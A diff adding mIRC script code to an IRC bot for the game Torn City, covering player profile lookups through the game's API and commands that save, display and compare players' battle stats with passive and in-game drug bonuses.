+      else { msg # $tc.col(3) $+ Displays an attack link from an ID that you specify. $tc.col(1) $+ Usage: $+ $tc.col(2) !attackid ID }
+    }
+    if ($istok(!prof !profile !info !find,$1,32)) {      
+      if (!$timer(0.tcflag.spam)) {
+        if ($istok(!prof !profile !info,$1,32) && $2 == $null) { var %name = $nick } 
+        if ($1 == !find && ($2 == $null || $2 !isnum)) { msg # $tc.col(3) $+ Displays summary for player belonging to a requested ID. $tc.col(1) $+ Usage: $+ $tc.col(2) !find ID | halt }
+        if ($2 isnum) { var %id = $2 }
+        else { if (%name == $null) { var %name = $2 } }
+        if (%id == $null && $1 != !find) { var %id = $tc.getid(%name) } 
+        if (%id == $null) { 
+          if ($1 == !find) { msg # $tc.col(5) $+ There is no ID stored for $+ $tc.col(2) %name $+ $tc.col(5) $+ ! (There is no method to 'search' a name for an ID through the API.) | halt } 
+          else { msg # $tc.col(5) $+ There is no ID stored for $+ $tc.col(2) %name $+ $tc.col(5) $+ ! | halt }
+        }
+        if ($tc.getapikey != $null) { 
+          set %tcprof.find %id    
+          set %tcprof.chan #              
+          sockclose apiprofile | sockopen -e apiprofile api.torn.com 443
+          .timer $+ 0.tcflag.spam 1 $tc.gcd noop
+        }
+        else { msg # $tc.col(5) $+ API usage not enabled, so bot cannot use profile lookups. }
+
+      }
+      else { msg # $tc.col(5) $+ Can't do that, try again in $+ $tc.col(2) $timer(0.tcflag.spam).secs $tc.col(5) $+ seconds! }
+    }
+
+    ; --------------------------------- stat saving/comparing code ---------------------------------
+    if (%tc.statsaving == e) {
+
+      if ($1 = !shelp) {
+        msg # $tc.col(2) $+ !stats $tc.col(1) $+ - Displays normal stats. $tc.col(2) $+ !tstats $tc.col(1) $+ - Displays stats with passives applied. $tc.col(2) $+ !dstats $tc.col(1) $+ - Displays stats with passives + drugs applied. $tc.col(2) $+ !cstats $tc.col(1) $+ - Displays current stats (passives pulled from paste).
+        msg # $tc.col(2) $+ !compare Name (Name) $tc.col(1) $+ - Displays comparison between two people (second name can be omitted to compare yourself to another). $tc.col(2) $+ !vcompare Name (Name) $tc.col(1) $+ - Compare stats with vicodin and passives applied.
+        msg # $tc.col(2) $+ !growth (Name) Days $tc.col(1) $+ - Displays current stat growth from X days ago till now. Name can be omitted to show your own.
+      }
+
+      if (%tc.oldspy != $nick && %tc.spy != $nick && %tsspy.spy != $nick && %tsspy.oldspy != $nick) { 
+        if ($readini($tc.cfgfile,n,Config,bstats) == yes && $1-2 == Battle Stats) { set %tc.bstats $addtok(%tc.bstats,$nick,32) } 
+        if ($istok(Strength Speed Dexterity Defense Battle,$1,32)) {
+          if ($readini($tc.cfgfile,n,Config,bstats) == yes) {
+            if ($1-2 == Battle StatsStrength) { set %tc.bstats $addtok(%tc.bstats,$nick,32) }
+            if (!$findtok(%tc.bstats,$nick,1,32)) { halt }
+          }
+          var %retid = $tc.getid($nick) | if (%retid == $null) { .timer0.statsbitchmsg -co 1 1 msg # $tc.col(5) $+ You need to add your ID to the bot before saving stats! Use: $+ $tc.col(2) !addid TornID | halt }
+          var %tablename = stat $+ %retid, %chk = 1
+          var %chkstr1 = $replace($1-,$chr(58),$null,Strength,$chr(32) $+ Strength,Speed,$chr(32) $+ Speed,Dexterity,$chr(32) $+ Dexterity,Defense,$chr(32) $+ Defense,Total,$chr(32) $+ Total)
+          var %chkstr = $replace(%chkstr1,Strength,Strength:,Speed,Speed:,Dexterity,Dexterity:,Defense,Defense:,Total,Total:)
+          while (%chk < $numtok(%chkstr,32)) {
+            if ($gettok(%chkstr,%chk,32) == Strength:) {
+              var %stat = $tc.cleanN($gettok(%chkstr,$calc(%chk + 1),32))
+              if (%stat != $null) { 
+                set %tc.bstatadd 1
+                if (%stat > 1000000000000000 || %stat <= 0) { msg # $tc.col(5) $+ Nope. | halt } 
+                var %pass = $gettok(%chkstr,$calc(%chk + 2),32)
+                if ($left(%pass,1) == $chr(40)) { var %pass = $gettok(%chkstr,$calc(%chk + 3),32) }
+                hadd -m %tablename str %stat $tc.cleanStatPass(%pass)
+              }
+            }
+            if ($gettok(%chkstr,%chk,32) == Speed:) { 
+              var %stat = $tc.cleanN($gettok(%chkstr,$calc(%chk + 1),32))
+              if (%stat != $null) {
+                set %tc.bstatadd 1
+                if (%stat > 1000000000000000 || %stat <= 0) { msg # $tc.col(5) $+ Nope. | halt } 
+                var %pass = $gettok(%chkstr,$calc(%chk + 2),32)
+                if ($left(%pass,1) == $chr(40)) { var %pass = $gettok(%chkstr,$calc(%chk + 3),32) }
+                hadd -m %tablename spd %stat $tc.cleanStatPass(%pass)
+              }
+            }
+            if ($gettok(%chkstr,%chk,32) == Dexterity:) { 
+              var %stat = $tc.cleanN($gettok(%chkstr,$calc(%chk + 1),32))
+              if (%stat != $null) {
+                set %tc.bstatadd 1
+                if (%stat > 1000000000000000 || %stat <= 0) { msg # $tc.col(5) $+ Nope. | halt } 
+                var %pass = $gettok(%chkstr,$calc(%chk + 2),32)
+                if ($left(%pass,1) == $chr(40)) { var %pass = $gettok(%chkstr,$calc(%chk + 3),32) }
+                hadd -m %tablename dex %stat $tc.cleanStatPass(%pass)
+              } 
+            }
+            if ($gettok(%chkstr,%chk,32) == Defense:) { 
+              var %stat = $tc.cleanN($gettok(%chkstr,$calc(%chk + 1),32))
+              if (%stat != $null) {
+                set %tc.bstatadd 1
+                if (%stat > 1000000000000000 || %stat <= 0) { msg # $tc.col(5) $+ Nope. | halt } 
+                var %pass = $gettok(%chkstr,$calc(%chk + 2),32)
+                if ($left(%pass,1) == $chr(40)) { var %pass = $gettok(%chkstr,$calc(%chk + 3),32) }
+                hadd -m %tablename def %stat $tc.cleanStatPass(%pass)
+              }
+            }
+            if ($hget(%tablename,0).item == 4) { tc.statsave %retid # $nick | halt }
+            inc %chk
+          }      
+          if (%tc.bstatadd) { .timer $+ %retid $+ $chr(46) $+ stat -co 1 3 tc.statsave %retid # $nick }
+        }
+        else { 
+          if ($readini($tc.cfgfile,n,Config,bstats) == yes && $findtok(%tc.bstats,$nick,1,32) && $1-2 != Battle Stats) { 
+            set %tc.bstats $deltok(%tc.bstats,$findtok(%tc.bstats,$nick,1,32),32) 
+            if (%tc.bstats == $null) { unset %tc.bstats }
+          } 
+        }
+        if ($1 == peed:) { msg # $tc.col(5) $+ That's a lot of pee... | halt }
+      }
+
+      if ($1 == !stats || $1 == !stat) {
+        if (!$timer(0.tcflag.spam)) {
+          if ($2 == $null) { var %find = $nick }
+          else { var %find = $2 }
+          var %retid = $tc.getid(%find), %retname = $tc.getname(%retid)
+          if (%retid == $null) { msg # $tc.col(5) $+ Sorry $+ $tc.col(2) %find $+ $tc.col(5) $+ , I have no clue who you are! }
+          else { 
+            var %statsfile = $tc.statsfile(%retid)
+            var %lastsaved = $read($qt(%statsfile), $lines(%statsfile))
+            var %lasttime = $gettok(%lastsaved,1,32), %laststr = $gettok(%lastsaved,2,32), %lastdef = $gettok(%lastsaved,3,32), %lastspd = $gettok(%lastsaved,4,32), %lastdex = $gettok(%lastsaved,5,32)
+            if (%lasttime == $null) { var %lasttime = 0 }
+            if (%laststr == $null) { var %laststr = 0 } | if (%lastdef == $null) { var %lastdef = 0 }
+            if (%lastspd == $null) { var %lastspd = 0 } | if (%lastdex == $null) { var %lastdex = 0 }
+            var %total = $calc(%laststr + %lastdef + %lastspd + %lastdex)
+            if (%total != 0) {
+              var %age = $calc($tc.time - %lasttime)
+              if (%age > 604800) { var %agecol = $tc.col(7) } | else { var %agecol = $tc.col(6) }
+              msg # $tc.col(1) $+ Stats for $+ $tc.col(2) %retname $tc.colid(%retid,1,2) as of $+ $tc.col(2) $asctime(%lasttime,mmm d) $tc.col(1) $+ @ $+ $tc.col(2) $asctime(%lasttime,h:nn:ss tt) $tc.col(1) $+ (GMT/TC time) - $+ %agecol $duration(%age) $tc.col(1) $+ ago.
+              msg # $tc.col(1) $+ Strength: $+ $tc.col(2) $tc.addComma(%laststr) $+ $tc.col(1) ( $+ $tc.col(2) $+ $round($calc((%laststr / %total) * 100),2) $+ $chr(37) $+ $tc.col(1) $+ $chr(41)
+              msg # $tc.col(1) $+ Defense: $+ $tc.col(2) $tc.addComma(%lastdef) $+ $tc.col(1) ( $+ $tc.col(2) $+ $round($calc((%lastdef / %total) * 100),2) $+ $chr(37) $+ $tc.col(1) $+ $chr(41)
+              msg # $tc.col(1) $+ Speed: $+ $tc.col(2) $tc.addComma(%lastspd) $+ $tc.col(1) ( $+ $tc.col(2) $+ $round($calc((%lastspd / %total) * 100),2) $+ $chr(37) $+ $tc.col(1) $+ $chr(41)
+              msg # $tc.col(1) $+ Dexterity: $+ $tc.col(2) $tc.addComma(%lastdex) $+ $tc.col(1) ( $+ $tc.col(2) $+ $round($calc((%lastdex / %total) * 100),2) $+ $chr(37) $+ $tc.col(1) $+ $chr(41)
+              msg # $tc.col(1) $+ Total: $+ $tc.col(2) $tc.addComma(%total)
+              .timer $+ 0.tcflag.spam 1 $tc.gcd noop
+            }
+            else { 
+              if ($2 != $null) { msg # $tc.col(5) $+ They haven't posted any stats! }
+              else { msg # $tc.col(5) $+ You haven't posted any stats! }
+            }
+          }
+        }
+        else { msg # $tc.col(5) $+ Can't do that, try again in $+ $tc.col(2) $timer(0.tcflag.spam).secs $tc.col(5) $+ seconds! }
+      }
+
+      if ($1 == !dstats || $1 == !dstat) {
+        if (!$timer(0.tcflag.spam)) {
+          if ($2 == $null) { var %find = $nick } | else { var %find = $2 }
+          var %retid = $tc.getid(%find), %retname = $tc.getname(%retid) 
+          if (%retid == $null) { msg # $tc.col(5) $+ Sorry $+ $tc.col(2) %find $+ $tc.col(5) $+ , I have no clue who you are! }
+          else { 
+            var %statsfile = $tc.statsfile(%retid)
+            var %lastsaved = $read($qt(%statsfile), $lines(%statsfile))
+            var %lasttime = $gettok(%lastsaved,1,32), %laststr = $gettok(%lastsaved,2,32), %lastdef = $gettok(%lastsaved,3,32), %lastspd = $gettok(%lastsaved,4,32), %lastdex = $gettok(%lastsaved,5,32)
+            if (%lasttime == $null) { var %lasttime = 0 }
+            if (%laststr == $null) { var %laststr = 0 } | if (%lastdef == $null) { var %lastdef = 0 }
+            if (%lastspd == $null) { var %lastspd = 0 } | if (%lastdex == $null) { var %lastdex = 0 }
+            var %total = $calc(%laststr + %lastdef + %lastspd + %lastdex)
+            var %pass = $tc.getset(%retid,stat), %pstr = $gettok(%pass,1,32), %pdef = $gettok(%pass,2,32), %pspd = $gettok(%pass,3,32), %pdex = $gettok(%pass,4,32)
+            if (%pstr !isnum) { var %pstr = 0 } | if (%pspd !isnum) { var %pspd = 0 } | if (%pdex !isnum) { var %pdex = 0 } | if (%pdef !isnum) { var %pdef = 0 }
+            var %vpstr = $calc(%pstr + 25), %vpspd = $calc(%pspd + 25), %vpdex = $calc(%pdex + 25), %vpdef = $calc(%pdef + 25)
+            var %xpstr = $calc(%pstr - 35), %xpspd = $calc(%pspd - 35), %xpdex = $calc(%pdex - 35), %xpdef = $calc(%pdef - 35)
+            var %vstr = $round($calc(%laststr * ((%vpstr / 100) + 1)),0), %vspd = $round($calc(%lastspd * ((%vpspd / 100) + 1)),0)
+            var %vdex = $round($calc(%lastdex * ((%vpdex / 100) + 1)),0), %vdef = $round($calc(%lastdef * ((%vpdef / 100) + 1)),0)   
+            var %xstr = $round($calc(%laststr * ((%xpstr / 100) + 1)),0), %xspd = $round($calc(%lastspd * ((%xpspd / 100) + 1)),0)
+            var %xdex = $round($calc(%lastdex * ((%xpdex / 100) + 1)),0), %xdef = $round($calc(%lastdef * ((%xpdef / 100) + 1)),0)  
+            var %vtot = $round($calc(%vstr + %vdef + %vspd + %vdex),4), %xtot = $round($calc(%xstr + %xdef + %xspd + %xdex),4)
+            var %vext = $round($calc(%vtot - %total),4), %xext = $round($calc(%xtot - %total),4)
+            if (%total != 0) {
+              if (%pstr == $null) { var %pstr = 0 } | if (%pdef == $null) { var %pdef = 0 } | if (%pspd == $null) { var %pspd = 0 } | if (%pdex == $null) { var %pdex = 0 } 
+              var %age = $calc($tc.time - %lasttime)
+              if (%age > 604800) { var %agecol = $tc.col(7) } | else { var %agecol = $tc.col(6) }
+              msg # $tc.col(1) $+ Drug + True Stats for $+ $tc.col(2) %retname $tc.colid(%retid,1,2) as of $+ $tc.col(2) $asctime(%lasttime,mmm d) $tc.col(1) $+ @ $+ $tc.col(2) $asctime(%lasttime,h:nn:ss tt) $tc.col(1) $+ (GMT/TC time) - $+ %agecol $duration(%age) $tc.col(1) $+ ago.
+              if ($calc(%pstr + %pspd + %pdef + %pdex) == 0) { msg # $tc.col(5) $+ No passive stats set, use $tc.col(2) $+ !set tstat $tc.col(5) $+ to set them. Using base stats... }
+              msg # $tc.col(1) $+ Passives: $tc.col(2) $+ %vpstr $+ % $tc.col(6) $+ Str, $tc.col(2) $+ %vpdef $+ % $tc.col(6) $+ Def, $tc.col(2) $+ %vpspd $+ % $tc.col(6) $+ Spd, $tc.col(2) $+ %vpdex $+ % $tc.col(6) $+ Dex on Vicodin, $tc.col(2) $+ %xpstr $+ % $tc.col(7) $+ Str, $tc.col(2) $+ %xpdef $+ % $tc.col(7) $+ Def, $tc.col(2) $+ %xpspd $+ % $tc.col(7) $+ Spd, $tc.col(2) $+ %xpdex $+ % $tc.col(7) $+ Dex on Xanax.
+              msg # $tc.col(1) $+ Strength: $+ $tc.col(6) $tc.addComma(%vstr) $tc.col(1) $+ - $+ $tc.col(7) $tc.addComma(%xstr)
+              msg # $tc.col(1) $+ Defense:  $+ $tc.col(6) $tc.addComma(%vdef) $tc.col(1) $+ - $+ $tc.col(7) $tc.addComma(%xdef)
+              msg # $tc.col(1) $+ Speed: $+ $tc.col(6) $tc.addComma(%vspd) $tc.col(1) $+ - $+ $tc.col(7) $tc.addComma(%xspd)
+              msg # $tc.col(1) $+ Dexterity: $+ $tc.col(6) $tc.addComma(%vdex) $tc.col(1) $+ - $+ $tc.col(7) $tc.addComma(%xdex)
+              msg # $tc.col(1) $+ Total: $+ $tc.col(6) $tc.addComma(%vtot) $tc.col(1) $+ - $+ $tc.col(7) $tc.addComma(%xtot)
+              msg # $tc.col(1) $+ Extra Stats: $+ $tc.col(6) $tc.addComma(%vext) $tc.col(1) $+ - $+ $tc.col(7) $tc.addComma(%xext)
+              .timer $+ 0.tcflag.spam 1 $tc.gcd noop
+            }
+            else { 
+              if ($2 != $null) { msg # $tc.col(5) $+ They haven't posted any stats! }
+              else { msg # $tc.col(5) $+ You haven't posted any stats! }
+            }
+          }
+        }
+        else { msg # $tc.col(5) $+ Can't do that, try again in $+ $tc.col(2) $timer(0.tcflag.spam).secs $tc.col(5) $+ seconds! }
+      }
+
+      if ($istok(!cstats !cstat !tstats !tstat,$1,32)) {
+        if (!$timer(0.tcflag.spam)) {
+          if ($2 == $null) { var %find = $nick } | else { var %find = $2 }
+          var %retid = $tc.getid(%find), %retname = $tc.getname(%retid) 
+          if (%retid == $null) { msg # $tc.col(5) $+ Sorry $+ $tc.col(2) %find $+ $tc.col(5) $+ , I have no clue who you are! }
+          else { 
+            var %statsfile = $tc.statsfile(%retid)
+            var %lastsaved = $read($qt(%statsfile), $lines(%statsfile))
+            var %lasttime = $gettok(%lastsaved,1,32), %laststr = $gettok(%lastsaved,2,32), %lastdef = $gettok(%lastsaved,3,32), %lastspd = $gettok(%lastsaved,4,32), %lastdex = $gettok(%lastsaved,5,32)
+            if (%lasttime == $null) { var %lasttime = 0 }
+            if (%laststr == $null) { var %laststr = 0 } | if (%lastdef == $null) { var %lastdef = 0 }
+            if (%lastspd == $null) { var %lastspd = 0 } | if (%lastdex == $null) { var %lastdex = 0 }
+            if ($istok(!cstats !cstat,$1,32)) { var %pass = $tc.getset(%retid,cstat), %title = Current Stats }
+            else { var %pass = $tc.getset(%retid,stat), %title = True Stats }
+            var %pstr = $gettok(%pass,1,32), %pdef = $gettok(%pass,2,32), %pspd = $gettok(%pass,3,32), %pdex = $gettok(%pass,4,32)
+            var %str = $round($calc(%laststr * ((%pstr / 100) + 1)),4), %spd = $round($calc(%lastspd * ((%pspd / 100) + 1)),4)
+            var %dex = $round($calc(%lastdex * ((%pdex / 100) + 1)),4), %def = $round($calc(%lastdef * ((%pdef / 100) + 1)),4)                             
+            var %lasttot = $calc(%laststr + %lastdef + %lastspd + %lastdex), %tot = $calc(%str + %def + %spd + %dex)
+            if (%lasttot != %tot) { 
+              var %totl = $tc.col(2) $tc.addComma($round(%tot,0)) $tc.col(1) $+ - Base: $+ $tc.col(8) $tc.addComma($round(%lasttot,0)) 
+              var %ptot = %tot, %totdiff = $calc(%tot - %lasttot)            
+              if (%totdiff < 0) { var %iod = decrease, %excol = 7 } | else { var %iod = increase, %excol = 6 }
+              var %extl = $tc.col(%excol) $tc.addComma($round(%totdiff,0)) $+ $tc.col(1) ( $+ $tc.col(%excol) $+ $remove($round($calc((%totdiff / %lasttot) * 100),2),$chr(45)) $+ $chr(37) $tc.col(1) $+ %iod $+ )
+            }
+            else { 
+              var %totl = $tc.col(2) $tc.addComma($round(%lasttot,0))
+              var %ptot = %lasttot            
+            }
+            if (%pstr != 0) { var %strl = $tc.col(2) $tc.addComma($round(%str,0)) $tc.col(1) $+ ( $+ $tc.col(2) $+ $round($calc((%str / %ptot) * 100),2) $+ $chr(37) $+ $tc.col(1) $+ ) - Base: $+ $tc.col(8) $tc.addComma($round(%laststr,0)) } 
+            else { var %strl = $tc.col(2) $tc.addComma($round(%laststr,0)) $+ $tc.col(1) ( $+ $tc.col(2) $+ $round($calc((%laststr / %ptot) * 100),2) $+ $chr(37) $+ $tc.col(1) $+ $chr(41) } 
+            if (%pdef != 0) { var %defl = $tc.col(2) $tc.addComma($round(%def,0)) $tc.col(1) $+ ( $+ $tc.col(2) $+ $round($calc((%def / %ptot) * 100),2) $+ $chr(37) $+ $tc.col(1) $+ ) - Base: $+ $tc.col(8) $tc.addComma($round(%lastdef,0)) }
+            else { var %defl = $tc.col(2) $tc.addComma($round(%lastdef,0)) $+ $tc.col(1) ( $+ $tc.col(2) $+ $round($calc((%lastdef / %ptot) * 100),2) $+ $chr(37) $+ $tc.col(1) $+ $chr(41) }
+            if (%pspd != 0) { var %spdl = $tc.col(2) $tc.addComma($round(%spd,0)) $tc.col(1) $+ ( $+ $tc.col(2) $+ $round($calc((%spd / %ptot) * 100),2) $+ $chr(37) $+ $tc.col(1) $+ ) - Base: $+ $tc.col(8) $tc.addComma($round(%lastspd,0)) } 
+            else { var %spdl = $tc.col(2) $tc.addComma($round(%lastspd,0)) $+ $tc.col(1) ( $+ $tc.col(2) $+ $round($calc((%lastspd / %ptot) * 100),2) $+ $chr(37) $+ $tc.col(1) $+ $chr(41) } 
+            if (%pdex != 0) { var %dexl = $tc.col(2) $tc.addComma($round(%dex,0)) $tc.col(1) $+ ( $+ $tc.col(2) $+ $round($calc((%dex / %ptot) * 100),2) $+ $chr(37) $+ $tc.col(1) $+ ) - Base: $+ $tc.col(8) $tc.addComma($round(%lastdex,0)) } 
+            else { var %dexl = $tc.col(2) $tc.addComma($round(%lastdex,0)) $+ $tc.col(1) ( $+ $tc.col(2) $+ $round($calc((%lastdex / %ptot) * 100),2) $+ $chr(37) $+ $tc.col(1) $+ $chr(41) }
+            if (%pstr < 0) { var %strt = $tc.col(7) $+ %pstr $+ % }
+            elseif (%pstr > 0) { var %strt = $tc.col(6) $+ + $+ %pstr $+ % }
+            else { var %strt = $tc.col(2) $+ $remove(%pstr,$chr(45)) $+ % }
+            if (%pdef < 0) { var %deft = $tc.col(7) $+ %pdef $+ % }
+            elseif (%pdef > 0) { var %deft = $tc.col(6) $+ + $+ %pdef $+ % }
+            else { var %deft = $tc.col(2) $+ $remove(%pdef,$chr(45)) $+ % }
+            if (%pspd < 0) { var %spdt = $tc.col(7) $+ %pspd $+ % }
+            elseif (%pspd > 0) { var %spdt = $tc.col(6) $+ + $+ %pspd $+ % }
+            else { var %spdt = $tc.col(2) $+ $remove(%pspd,$chr(45)) $+ % }
+            if (%pdex < 0) { var %dext = $tc.col(7) $+ %pdex $+ % }
+            elseif (%pdex > 0) { var %dext = $tc.col(6) $+ + $+ %pdex $+ % }
+            else { var %dext = $tc.col(2) $+ $remove(%pdex,$chr(45)) $+ % }
+            if (%tot != 0) {
+              if (%pstr == $null) { var %pstr = 0 } | if (%pdef == $null) { var %pdef = 0 } | if (%pspd == $null) { var %pspd = 0 } | if (%pdex == $null) { var %pdex = 0 } 
+              var %age = $calc($tc.time - %lasttime)
+              if (%age > 604800) { var %agecol = $tc.col(7) } | else { var %agecol = $tc.col(6) }
+              msg # $tc.col(1) $+ %title for $+ $tc.col(2) %retname $tc.colid(%retid,1,2) as of $+ $tc.col(2) $asctime(%lasttime,mmm d) $tc.col(1) $+ @ $+ $tc.col(2) $asctime(%lasttime,h:nn:ss tt) $tc.col(1) $+ (GMT/TC time) - $+ %agecol $duration(%age) $tc.col(1) $+ ago.
+              if ($calc(%pstr + %pspd + %pdef + %pdex) == 0) { 
+                if ($istok(!cstats !cstat,$1,32)) {
+                  msg # $tc.col(5) $+ No passive stats saved, repaste your battle stats as is including the percentages. Listing base stats... 
+                }
+                else {
+                  msg # $tc.col(5) $+ No passive stats set, use $tc.col(2) $+ !set tstat $tc.col(5) $+ to set them. Listing base stats... 
+                }
+              }
+              else { msg # $tc.col(4) $+ Using a passive bonus of %strt $tc.col(4) $+ Strength, %deft $tc.col(4) $+ Defense, %spdt $tc.col(4) $+ Speed, %dext $tc.col(4) $+ Dexterity. }
+              msg # $tc.col(1) $+ Strength: $+ %strl
+              msg # $tc.col(1) $+ Defense: $+ %defl
+              msg # $tc.col(1) $+ Speed: $+ %spdl
+              msg # $tc.col(1) $+ Dexterity: $+ %dexl
+              msg # $tc.col(1) $+ Total: $+ %totl
+              if (%extl != $null) { msg # $tc.col(1) $+ Difference: $+ %extl }
+              .timer $+ 0.tcflag.spam 1 $tc.gcd noop
+            }
+            else { 
+              if ($2 != $null) { msg # $tc.col(5) $+ They haven't posted any stats! }
+              else { msg # $tc.col(5) $+ You haven't posted any stats! }
+            }
+          }
+        }
+        else { msg # $tc.col(5) $+ Can't do that, try again in $+ $tc.col(2) $timer(0.tcflag.spam).secs $tc.col(5) $+ seconds! }
+      }
+
+      if ($istok(!vcompare !compare,$1,32)) {
+        if (!$timer(0.tcflag.spam)) {
+          if ($2 == $null) { msg # $tc.col(3) $+ Compares your saved stats with another users. $tc.col(1) $+ Usage: $+ $tc.col(2) !compare Name AnotherName | halt }
+          if ($2 == $nick && $3 == $null) { msg # $tc.col(5) $+ You can't compare yourself with yourself. | halt }
+          if ($2 == $3) { msg # $tc.col(5) $+ You can't compare $+ $tc.col(2) $2 $tc.col(5) $+ with $+ $tc.col(2) $3 $+ $tc.col(5) $+ , they're the same person! | halt }
+          if ($3 == $null) { var %compleft = $nick | var %compright = $2 }
+          else { var %compleft = $2 | var %compright = $3 }          
+          var %leftinq = $tc.getid(%compleft), %leftname = $tc.getname(%leftinq)
+          if (%leftinq == $null) { var %compfail = %compleft }
+          else { 
+            var %leftstatsfile $tc.statsfile(%leftinq)
+            var %leftsaved = $read($qt(%leftstatsfile), $lines(%leftstatsfile))
+            var %lefttime = $gettok(%leftsaved,1,32) | if (%lefttime == $null) { var %lefttime = 0 }
+            var %baselstr = $gettok(%leftsaved,2,32) | if (%baselstr == $null) { var %baselstr = 0 }
+            var %baseldef = $gettok(%leftsaved,3,32) | if (%baseldef == $null) { var %baseldef = 0 }
+            var %baselspd = $gettok(%leftsaved,4,32) | if (%baselspd == $null) { var %baselspd = 0 }
+            var %baseldex = $gettok(%leftsaved,5,32) | if (%baseldex == $null) { var %baseldex = 0 }
+            var %baseltot = $calc(%baselstr + %baseldef + %baselspd + %baseldex) | if (%baseltot == 0) { var %compfail = %compleft }
+          }
+          var %rightinq = $tc.getid(%compright), %rightname = $tc.getname(%rightinq)
+          if (%rightinq == $null) { var %compfail = %compright }
+          else { 
+            var %rightstatsfile $tc.statsfile(%rightinq)
+            var %rightsaved = $read($qt(%rightstatsfile), $lines(%rightstatsfile))
+            var %righttime = $gettok(%rightsaved,1,32) | if (%righttime == $null) { var %righttime = 0 }
+            var %baserstr = $gettok(%rightsaved,2,32) | if (%baserstr == $null) { var %baserstr = 0 }
+            var %baserdef = $gettok(%rightsaved,3,32) | if (%baserdef == $null) { var %baserdef = 0 }
+            var %baserspd = $gettok(%rightsaved,4,32) | if (%baserspd == $null) { var %baserspd = 0 }
+            var %baserdex = $gettok(%rightsaved,5,32) | if (%baserdex == $null) { var %baserdex = 0 }
+            var %basertot = $calc(%baserstr + %baserdef + %baserspd + %baserdex) | if (%basertot == 0) { var %compfail = %compright } 
+          }
+          if ($1 == !vcompare) {
+            var %vicbonus = 25                          ; Easy change vicodin bonus in case Ched adjusts it. 
+            var %lpass = $tc.getset(%leftinq,stat)
+            var %lpstr = $calc($gettok(%lpass,1,32) + %vicbonus), %lpdef = $calc($gettok(%lpass,2,32) + %vicbonus)
+            var %lpspd = $calc($gettok(%lpass,3,32) + %vicbonus), %lpdex = $calc($gettok(%lpass,4,32) + %vicbonus)       
+            var %lvstr = $round($calc(%baselstr * ((%lpstr / 100) + 1)),4), %lvspd = $round($calc(%baselspd * ((%lpspd / 100) + 1)),4)
+            var %lvdex = $round($calc(%baseldex * ((%lpdex / 100) + 1)),4), %lvdef = $round($calc(%baseldef * ((%lpdef / 100) + 1)),4)   
+            var %lvtot = $round($calc(%lvstr + %lvdef + %lvspd + %lvdex),4), %lext = $round($calc(%lvtot - %lefttotal),4)
+            var %leftstr = %lvstr, %leftdef = %lvdef, %leftspd = %lvspd, %leftdex = %lvdex, %lefttot = %lvtot
+            var %rpass = $tc.getset(%rightinq,stat)
+            var %rpstr = $calc($gettok(%rpass,1,32) + %vicbonus), %rpdef = $calc($gettok(%rpass,2,32) + %vicbonus)
+            var %rpspd = $calc($gettok(%rpass,3,32) + %vicbonus), %rpdex = $calc($gettok(%rpass,4,32) + %vicbonus)       
+            var %rvstr = $round($calc(%baserstr * ((%rpstr / 100) + 1)),4), %rvspd = $round($calc(%baserspd * ((%rpspd / 100) + 1)),4)
+            var %rvdex = $round($calc(%baserdex * ((%rpdex / 100) + 1)),4), %rvdef = $round($calc(%baserdef * ((%rpdef / 100) + 1)),4)   
+            var %rvtot = $round($calc(%rvstr + %rvdef + %rvspd + %rvdex),4)
+            var %rightstr = %rvstr, %rightdef = %rvdef, %rightspd = %rvspd, %rightdex = %rvdex, %righttot = %rvtot          
+            if (%lpstr > %rpstr) { var %strcl = 6, %strcr = 7 } | elseif (%lpstr < %rpstr) { var %strcl = 7, %strcr = 6 } | else { var %strcl = 2, %strcr = 2 }
+            if (%lpdef > %rpdef) { var %defcl = 6, %defcr = 7 } | elseif (%lpdef < %rpdef) { var %defcl = 7, %defcr = 6 } | else { var %defl = 2, %defcr = 2 }
+            if (%lpspd > %rpspd) { var %spdcl = 6, %spdcr = 7 } | elseif (%lpspd < %rpspd) { var %spdcl = 7, %spdcr = 6 } | else { var %spdcl = 2, %spdcr = 2 }
+            if (%lpdex > %rpdex) { var %dexcl = 6, %dexcr = 7 } | elseif (%lpdex < %rpdex) { var %dexcl = 7, %dexcr = 6 } | else { var %dexcl = 2, %dexcr = 2 }
+            var %passl =  $tc.col(%strcl) $+ $tc.cleanN(%lpstr) $+ $chr(37) $+ $tc.col(1) $+ / $+ $tc.col(%defcl) $+ $tc.cleanN(%lpdef) $+ $chr(37) $+ $tc.col(1) $+ / $+ $+ $tc.col(%spdcl) $+ $tc.cleanN(%lpspd) $+ $chr(37) $+ $tc.col(1) $+ / $+ $tc.col(%dexcl) $+ $tc.cleanN(%lpdex) $+ $chr(37) 
+            var %passr =  $tc.col(%strcr) $+ $tc.cleanN(%rpstr) $+ $chr(37) $+ $tc.col(1) $+ / $+ $tc.col(%defcr) $+ $tc.cleanN(%rpdef) $+ $chr(37) $+ $tc.col(1) $+ / $+ $+ $tc.col(%spdcr) $+ $tc.cleanN(%rpspd) $+ $chr(37) $+ $tc.col(1) $+ / $+ $tc.col(%dexcr) $+ $tc.cleanN(%rpdex) $+ $chr(37)
+            var %title = $tc.col(1) $+ Comparing stats (passive + vicodin): $+ $tc.col(2) %leftname $tc.col(1) $+ ( $+ %passl $+ $tc.col(1) $+ ) vs $+ $tc.col(2) %rightname $tc.col(1) $+ ( $+ %passr $+ $tc.col(1) $+ )
+          }        
+          else { 
+            var %leftstr = %baselstr, %leftdef = %baseldef, %leftspd = %baselspd, %leftdex = %baseldex, %lefttot = %baseltot
+            var %rightstr = %baserstr, %rightdef = %baserdef, %rightspd = %baserspd, %rightdex = %baserdex, %righttot = %basertot 
+            var %title = $tc.col(1) $+ Comparing stats: $+ $tc.col(2) %leftname $tc.col(1) $+ vs $+ $tc.col(2) %rightname
+          }
+          if (%compfail == $null) {
+            msg # %title
+            if (%lefttime > %righttime) { var %comptime = $duration($calc(%lefttime - %righttime)) $tc.col(1) $+ apart. }
+            if (%righttime > %lefttime) { var %comptime = $duration($calc(%righttime - %lefttime)) $tc.col(1) $+ apart. }
+            if (%righttime == %lefttime) { var %comptime = Same time. }
+            msg # $tc.col(1) $+ Last posted date: $+ $tc.col(2) $asctime(%lefttime,mmm d) $tc.col(1) $+ @ $+ $tc.col(2) $asctime(%lefttime,h:nn:ss tt) $tc.col(1) $+ $chr(45) $+ $tc.col(2) $asctime(%righttime,mmm d) $tc.col(1) $+ @ $+ $tc.col(2) $asctime(%righttime,h:nn:ss tt) $tc.col(1) $+ (GMT/TC time) - $+ $tc.col(2) %comptime 
+            if (%leftstr > %rightstr) { var %clstr = 6, %crstr = 7, %diffstr = $chr(43) $+ $tc.addComma($calc(%leftstr - %rightstr)) }
